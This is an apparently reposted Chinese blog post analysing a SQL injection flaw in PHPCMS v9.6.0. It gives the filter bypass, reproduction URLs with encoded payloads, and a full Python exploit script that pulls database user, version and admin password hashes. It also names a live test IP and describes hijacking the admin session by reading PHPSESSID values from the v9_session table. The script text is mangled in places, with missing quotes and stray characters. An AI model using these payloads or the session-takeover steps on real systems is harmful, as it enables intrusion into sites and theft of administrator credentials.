phpcms_v9.6.0_sql注入與exp

今天還是昨天

突然整個圈子都在問一個phpcms v9漏洞

我們這裡有好幾個未公開的

後來經過證實,你們是要這個注入的漏洞

這個漏洞的文檔已經在小範圍流傳了

phpcms_v9.6.0_sql注入分析

可疑的函數

localhost/phpcms/modules/attachment/attachments.php文件的第241GET提交src變數帶上了safe_relace函數,現在我們跟入這個該死的過濾函數看看它到底在搞什麼鬼....*/

2.過濾函數剖析和繞過

localhost/phpcms/libs/functions/global.func.php文件的63行開始可以看到此處將傳入的%27和%2527都進行刪除處理也就是還沒傳入資料庫前就已經被該死的程序吃了,但是在67行看到他還吃了*這樣我們就有辦法了也就是傳入%*27程序吃掉星號後%27就會被傳入。*/

3.src變數到底去哪了

/*這裡不做截圖請回到第一步的截圖查看,在241行代碼src傳入arr數組後在243行被json_encode函數加密為json格式後傳入json_str數組,然後在244行代碼又將json加密為cookie。在這裡我做個大膽的假設src存在注入那麼我們要傳入參數:src=%*27 updatexml(1,concat(1,(user())),1)%23;那麼我們傳入的參數將會被json加密後最終成為了:{src:%*27 updatexml(1,concat(1,(user())),1)%23};再然後就是cookie加密這裡不做計算cookie加密值需要的同學自己echo,假設暫且到這,它的最終這些動作都被賦值為swfupload_json函數。到此src變數故事以及完結請看下一章。*/

down.php的decode成全了我

/*在localhost/phpcms/modules/content/down.php的第14行代碼將a_k變數進行了decode操作這樣子我們把剛剛在src進行加密的SQL傳入a_k他就會進行解密還原回json,17行 將json字元串解析成變數 -> parse_str 以 & 區分,將字元串解析成3個變數最後傳入SQL為:{「aid":1,"src":"&id=%27 updatexml(1,concat(1,(user)),1)#&m=1&f=haha&modelid=2&catid=7&」,」filename」:」」};此處可以看到之前%*27的*沒了因為已經被他媽的狗比安全函數吃了*。最後我們看在第26行代碼將id傳入SQL欄位id既然這樣那就OK了我們嘗試還原。*/

phpcms_v9.6.0_sql注入還原

1.訪問/index.php?m=wap&c=index&a=init&siteid=1獲取一個cookie值傳入該死的src那塊操作否則會沒有身份

2.把這個傻逼cookie的值複製下來以POST傳入userid_flash變數訪問/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26不要問我URL編碼裡面是什麼東西我會告訴你那是SQL的Payload

3.上一步我們已經獲取到了通過json在通過cookie加密的SQL了因為他返回的cookie就是已經加密的SQLPayload現在我們傳入到a_k變數看看到底發生了什麼?

網上這個文檔傳的很快

作者我也不知道是誰

大家都把版權改成自己的

我也是醉了

有知情人士可留言~給人家一個版權

下面是EXP:

import requests,sys,urllib

url = sys.argv[1]

print Phpcms v9.6.0 SQLi Exploit Code By Luan

sqli_prefix = %*27an*d%20

sqli_info = e*xp(~(se*lect%*2af*rom(se*lect co*ncat(0x6c75616e24,us*er(),0x3a,ver*sion(),0x6c75616e24))x))

sqli_password1 = e*xp(~(se*lect%*2afro*m(sel*ect co*ncat(0x6c75616e24,username,0x3a,password,0x3a,encrypt,0x6c75616e24) fr*om

sqli_password2 = _admin li*mit 0,1)x))

sqli_padding = %23%26m%3D1%26f%3Dwobushou%26modelid%3D2%26catid%3D6

setp1 = url + /index.php?m=wap&a=index&siteid=1

cookies = {}

for c in requests.get(setp1).cookies:

tif c.name[-7:] == _siteid:

ttcookie_head = c.name[:6]

ttcookies[cookie_head+_userid] = c.value

tcookies[c.name] = c.value

print [+] Get Cookie : + str(cookies)

setp2 = url + /index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id= + sqli_prefix + urllib.quote_plus(sqli_info, safe=qwertyuiopasdfghjklzxcvbnm*) + sqli_padding

for c in requests.get(setp2,cookies=cookies).cookies:

tif c.name[-9:] == _att_json:

ttsqli_payload = c.value

print [+] Get SQLi Payload : + sqli_payload

setp3 = url + /index.php?m=content&c=down&a_k= + sqli_payload

html = requests.get(setp3,cookies=cookies).content

print [+] Get SQLi Output : + html.split(luan$)[1]

table_prefix = html[html.find(_download_data)-2:html.find(t_download_data)]

print [+] Get Table Prefix : + table_prefix

setp2 = url + /index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id= + sqli_prefix + urllib.quote_plus(sqli_password1, safe=qwertyuiopasdfghjklzxcvbnm*) + table_prefix + urllib.quote_plus(sqli_password2, safe=qwertyuiopasdfghjklzxcvbnm*) + sqli_padding

for c in requests.get(setp2,cookies=cookies).cookies:

tif c.name[-9:] == _att_json:

ttsqli_payload = c.value

print [+] Get SQLi Payload : + sqli_payload

setp3 = url + /index.php?m=content&c=down&a_k= + sqli_payload

html = requests.get(setp3,cookies=cookies).content

print [+] Get SQLi Output : + html.split(luan$)[1]

exp也是別人分享給我的

看起來作者應該是luan

測試地址:

122.9.16.209

成功截圖:

不過呢,眾所周知

phpcms的密文特別難解密

所以有個配合使用的方法

通過sql注入漏洞讀取資料庫信息

但是不能破解密碼的情況下

可以繞過後台驗證

phpcms資料庫中表v9_session

保存著管理員登錄的信息

而且欄位sessionid保存著就是

已經登錄管理後台的PHPSESSID

可以通過sql注入讀取到這個值

並寫入到自己的瀏覽器中。

直接訪問後台地址:

/index.php?m=admin&c=index&a=public_menu_left

將資料庫中的sessionid信息帶入!

相關文章網上也有

最後,我還是覺得這個漏洞挺雞肋的

至於哪裡雞肋請看官細細體會

還有幾個更牛逼的漏洞也許

過幾天就會有人放出來了

反正我不做第一個吃螃蟹的人了

怕被打死~


推薦閱讀:

Hacking Team 泄密事件到底有多嚴重?其中說到的那個 Flash 漏洞會造成怎樣的後果?

TAG:Warez | Web漏洞 | 黑客Hacker |